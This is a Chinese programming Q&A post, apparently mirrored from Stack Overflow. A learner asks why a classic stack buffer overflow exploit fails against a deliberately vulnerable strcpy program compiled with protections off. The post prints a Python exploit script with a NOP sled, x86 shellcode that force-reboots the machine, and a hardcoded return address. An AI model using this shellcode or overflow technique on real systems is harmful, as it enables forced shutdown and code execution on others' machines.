【发布时间】:2019-04-14 13:35:40
【问题描述】:
我已经阅读了很多文章和示例,但我不知道我现在能做什么。所以,我想为这个易受攻击的程序测试一个 shellcode:
#include <string.h>
#include <stdio.h>
void main(int argc, char *argv[]) {
copier(argv[1]);
printf("Done!\n");
}
int copier(char *str) {
char buffer[100];
strcpy(buffer, str);
}
运行我的 shellcode 的脚本(强制重启):
#!/usr/bin/python
nopsled = '\x90' * 64
shellcode = (
'\x31\xc0\x50\x68\x62\x6f\x6f\x74\x68\x6e' +
'\x2f\x72\x65\x68\x2f\x73\x62\x69\x89\xe3' +
'\x50\x66\x68\x2d\x66\x89\xe6\x50\x56\x53' +
'\x89\xe1\xb0\x0b\xcd\x80'
)
padding = 'A' * (112 - 64 - 36)
eip = '\x70\xf1\xff\xbf'
print nopsled + shellcode + padding + eip
在这里你可以看到我的shellcode被正确加载了:
来自 esp 的寄存器
我的返回地址是:0xbffff170。那么为什么我的程序不起作用?请帮帮我
【问题讨论】:
-
python和C脚本是如何传值的?
-
你是如何编译C代码的?您可能想尝试反汇编可执行文件以确保它实际上是易受攻击的。
-
@Shlomi Agiv 我不知道,我只是在学习教程
-
@Daniel Pryden 我用 -g -z execstack -no-pie flags 编译它
标签: python c shell reverse-engineering payload